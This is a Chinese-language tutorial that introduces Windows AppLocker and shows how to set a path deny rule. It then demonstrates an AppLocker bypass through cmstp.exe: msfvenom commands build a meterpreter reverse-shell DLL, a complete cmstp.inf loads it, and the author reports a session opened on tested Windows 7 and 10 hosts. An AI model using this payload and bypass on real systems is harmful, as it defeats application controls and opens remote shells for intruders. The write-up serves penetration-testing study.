0x01 AppLocker简介
0、在大型组织的安全领域中,AppLocker正在扮演越来越重要的角色,应用AppLocker规则可以显著降低企业的安全风险
1、AppLocker:即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能,在Windows 7以上的系统中都集成了该功能
2、利用AppLocker,管理员可以非常方便地进行配置,以实现管理用户在计算机上可以运行哪些程序、安装哪些文件、运行哪些脚本
3、由于AppLocker是基于组策略管理和配置的,因此,企业IT管理员可以非常方便的将其部署到整个网络环境中,并配置用户可以在计算机上运行哪些应用
4、AppLocker包含3部分功能:可执行程序控制、安装程序控制、脚本控制
5、AppLocker需要系统是旗舰版或企业版,专业版不支持,同时Application Identity服务需要开启
6、AppLocker的使用:开始-运行-输入“gpedit.msc”,打开组策略编辑器-计算机配置-Windows设置-安全设置-应用程序控制
7、比如,我们设置一个规则试一下
在可执行规则出,右键,下一步
这里,我们选择拒绝,单击下一步
选择“路径”,单击下一步
选择“浏览文件夹”,选择自己要测试的目录,下一步
再下一步,创建,是
如下,我们设置好了一条规则
我们尝试运行一下该目录下的程序,被阻止,说明设置的规则生效了
在Win10上,创建AppLocker后,会在 c:\windows\system32\applocker下产生相应的.applocker文件
0x02 AppLocker Bypass
1)、使用CMSTP绕过AppLocker
1、CMSTP概述
- CMSTP,是一个与Microsoft连接管理器配置文件安装程序关联的二进制文件
- CMSTP,是一个受信的Microsoft二进制文件,位于以下两个Windows目录中
- c:\Windows\System32\cmstp.exe
- c:\Windows\SysWOW64\cmstp.exe
- AppLocker默认规则允许在这些文件夹中执行二进制文件,因此,可以用它来作为bypass的一种方法
2、使用msfvenom生成恶意DLL文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.182 LPORT=4444 -f dll > AppTest.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.182 LPORT=4444 -f dll > AppTest.dll
并在msf中监听
3、新建一个文件,名字为cmstp.inf,内容如下
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\Users\XXXX\Desktop\TestApp\AppTest.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="AppTest"
ShortSvcName="AppTest"
4、这里我设置的AppLocker限制是,禁止这个文件夹下的程序运行,运行了一个exe测试了一下,AppLocker策略生效
5、执行如下命令
cmstp.exe /s cmstp.inf
6、在msf监听端发现测试主机已上线
7、测试成功主机操作系统:
Windows 7 X86 旗舰版 6.1.7601 SP1
Windows 7 X64 企业版 6.1.7601 SP1
Windows 10 X64 企业版 10.0.17134
参考文章
https://baike.baidu.com/item/Applocker/2300852?fr=aladdin